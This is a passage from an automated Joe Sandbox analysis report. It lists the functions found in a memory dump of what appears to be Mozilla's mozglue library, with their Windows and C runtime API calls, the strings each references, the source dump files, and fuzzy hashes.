Instruction Fuzzy Hash: 7B212BB0E002099FDF04DFAAC8855BEBBB4EF49214F148129E946A7341E735A945CBE5

Function 6C606E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C606E78

Part of subcall function 6C606A10: InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606A68
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606A7D
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606AA1
Part of subcall function 6C606A10: EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606AAE
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606AE1
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606B15
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C606B65
Part of subcall function 6C606A10: LeaveCriticalSection.KERNEL32(6C62F618,?,?), ref: 6C606B83

MozFormatCodeAddress.MOZGLUE ref: 6C606EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C606EFF

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction ID: 2960a748ebed22b2b26b84daa4be406dcfcf13ce8fc13f28adfc13edaaf1d4e0
Opcode Fuzzy Hash: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction Fuzzy Hash: 1921B0B1A0421A8FCB14CF29D9C569E77F5EF84308F044039E809A7240EB349A998F96

Function 6C5E0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5A3DEF), ref: 6C5E0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5A3DEF), ref: 6C5E0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5A3DEF), ref: 6C5E0DAF

Strings

<jemalloc>, xrefs: 6C5E0D92, 6C5E0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C5E0D97, 6C5E0DBE

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction ID: de3898b8ffebf8e652b2d2dd900d6d85fb15fefb494ee03f35de1a3f3ea6d7ad
Opcode Fuzzy Hash: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction Fuzzy Hash: 0BF0893178439423E72016665D0AB6A266DE7C6B65F344037F205DADC4DF98E800ABAD

Function 6C605850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C60586C
CloseHandle.KERNEL32 ref: 6C605878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C605898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6058C9
free.MOZGLUE(00000000), ref: 6C6058D3

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: f00e64a3e1a27758e7b5555604610bb5e99ec19e1add245ea34d7eec78d3cae8
Instruction ID: a91781077a846e528fc7ac4c51e302180126b6901843f745e1d058c11bf6d16c
Opcode Fuzzy Hash: f00e64a3e1a27758e7b5555604610bb5e99ec19e1add245ea34d7eec78d3cae8
Instruction Fuzzy Hash: CB014F717041219BDF00DF17D9886467BB8FBA3329F244276E91AF2210D73998158F8F

Function 6C5F7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5F75C4,?), ref: 6C5F762B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7644
GetCurrentThreadId.KERNEL32 ref: 6C5F765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7677

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction ID: 1c75419332ee999be94102c42528ea51201a85dfbaf45b127cfcdbc58560bc9d
Opcode Fuzzy Hash: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction Fuzzy Hash: B3F0C271E10745ABD7008F22C888676B778FFEB299F214316F94553601E7B4B5D18BD1

Function 6C601700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C601800

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

Strings

name, xrefs: 6C601939
{marker.name} - {marker.data.name}, xrefs: 6C6018C7
Details, xrefs: 6C601925

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: ee621985bec3eba2394d70bdb328da6edcd1836bdf1ad847051889a16cf7c6c7
Instruction ID: f877cb7043d3cdd284f342d1dd8ca80b5f7a95a41425fae7a381bb6044758125
Opcode Fuzzy Hash: ee621985bec3eba2394d70bdb328da6edcd1836bdf1ad847051889a16cf7c6c7
Instruction Fuzzy Hash: 4F71FF70A00706DFCB08DF69C58079ABBB2FF85304F40466DD8155BB41DB74AAA9CBE6

Function 6C5CD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751

Strings

MOZ_CRASH(), xrefs: 6C5CD4BB

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction ID: 6073f7b52de7276c14624d6453a21e25677ccea06243d0b83af71556857c1beb
Opcode Fuzzy Hash: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction Fuzzy Hash: D651FF71B047018FD314CF69C99471AB7F1EB89304F558A2ED9AAC7B84D774E840CB86

Function 6C5F4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Strings

., xrefs: 6C5F476A
profiler-paused, xrefs: 6C5F46E4
-%llu, xrefs: 6C5F4733

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction ID: fb0346b79a0459fbead43eeb43d10f9d903501105c760a2504206c716e89d68f
Opcode Fuzzy Hash: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction Fuzzy Hash: 22414871A047089BCB08DF7DDD9115EBBF5EF85344F10863EE865A7B41EB3498068B46

Function 6C619830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C61985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C61987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6198DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6198D9

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 09491b076a8cc46b63939a1ec01e39ea47a57ea8e263522ba440afb22f343c8c
Instruction ID: 6850bd30f4138290602dd65e37943c8c2c363c6bcf4751beb6bc4d4bfeae03df
Opcode Fuzzy Hash: 09491b076a8cc46b63939a1ec01e39ea47a57ea8e263522ba440afb22f343c8c
Instruction Fuzzy Hash: EF313571B002089BDB04AF5DDC409EF77B9DF85318F50842DEA1A9BB40CB35AD058BE9

Function 6C5F46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Part of subcall function 6C5A4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C5E3EBD,00000017,?,00000000,?,6C5E3EBD,?,?,6C5A42D2), ref: 6C5A4444

Strings

., xrefs: 6C5F476A
profiler-paused, xrefs: 6C5F46E4
-%llu, xrefs: 6C5F4733

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction ID: bd26a1c4ab554642d0468cab29256e0184eeef609df12e389fb0870c63421e3d
Opcode Fuzzy Hash: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction Fuzzy Hash: 13311471F052088BCB0CDF6DDC8129EBBE69B88314F15853EE9159BB41EB7499068B94

Function 6C5FB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5FB127), ref: 6C5FB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5FB4E4

Strings

pid:, xrefs: 6C5FB4DE

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction ID: 8210f7f9c2f7351a1b93f7acc946bda6fccc1073beab081611a6374596c80917
Opcode Fuzzy Hash: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction Fuzzy Hash: 8C311531A01204DBDB04EFA9DD84ADEB7B6FF44308F540529D86167A41E736E94ACFA1

Function 6C5BBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C607A3F), ref: 6C5BBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C607A3F), ref: 6C5BBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C607A3F), ref: 6C5BBF7E

Strings

al, xrefs: 6C5BBF84

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: al
API String ID: 4279176481-2896146561
Opcode ID: 665267fbbb3a0f8aaa118a07b8066ef0d2ff51ae6b5cd9ba8d8aa8a659180eeb
Instruction ID: 2ff5de2da75b32c2eec15e6996a983c58d4ec4853b527f8414639407750b1d52
Opcode Fuzzy Hash: 665267fbbb3a0f8aaa118a07b8066ef0d2ff51ae6b5cd9ba8d8aa8a659180eeb
Instruction Fuzzy Hash: F911C0793046048FC729CF1CD599966FBF8FF5930A355885DE98A8BB50C731E800CB94

Function 6C5EE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EE577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE584
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5EE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C5EE5A1, 6C5EE5CC, 6C5EE5FF, 6C5EE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5EE722, 6C5EE750, 6C5EE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5EE777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5EE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5EE826, 6C5EE850

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction ID: 39bf27d9e90d1baac4db604af5e5dd37337d43ef41b55021859276a121b277f0
Opcode Fuzzy Hash: 3c317313831570e106565cfa9fa440b4e86ef5be35e8101c9f864e57c54925fd
Instruction Fuzzy Hash: 1411C431A04264DFCB009F1AC888B6DBBF4FFC9728F010519E88657651C7B8A805CFDA

Function 6C5F0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0CD5

Part of subcall function 6C5DF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5DF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F0D40
free.MOZGLUE ref: 6C5F0DCB

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

free.MOZGLUE ref: 6C5F0DDD
free.MOZGLUE ref: 6C5F0DF2

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction ID: bab8025a9aa4eb61a4ca4f50f68266641b337de3cd6190bcdedef839de4bc89f
Opcode Fuzzy Hash: 504b796e02f183e61f8bbae3592099efa8b2155177eb0de756d9f0703ae93093
Instruction Fuzzy Hash: F9411471A087809BD720CF29C48079AFBE5BFC9614F558A2EE8E887711D770A845CF92

Function 6C5E0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5E0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5E084C
EnterCriticalSection.KERNEL32(?), ref: 6C5E08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E08BD
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5E08D5

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: aabd5555adec934edef5ab27ca509f3a87abaf88d1698cbf14db61ddccfd1a53
Instruction ID: 19ef83c08482a0f8ea3c1b3c8fdfc7837052a99be66e95028db1d22e45cfc859
Opcode Fuzzy Hash: aabd5555adec934edef5ab27ca509f3a87abaf88d1698cbf14db61ddccfd1a53
Instruction Fuzzy Hash: 0F219071A052099BDB048E65DC84BEE7379EF89709F500539D50AA7A40DF39A8058BD4

Function 6C5FCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDA4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD158
Part of subcall function 6C5FD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5FCDBA,00100000,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCDC4

Part of subcall function 6C5F7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6015FC,?,?,?,?,6C6015FC,?), ref: 6C5F74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FCECC

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

Part of subcall function 6C5ECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5FCEEA,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000), ref: 6C5ECB57
Part of subcall function 6C5ECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C5ECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5FCEEA,?,?), ref: 6C5ECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C5EDA31,00100000,?,?,00000000,?), ref: 6C5FD058

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

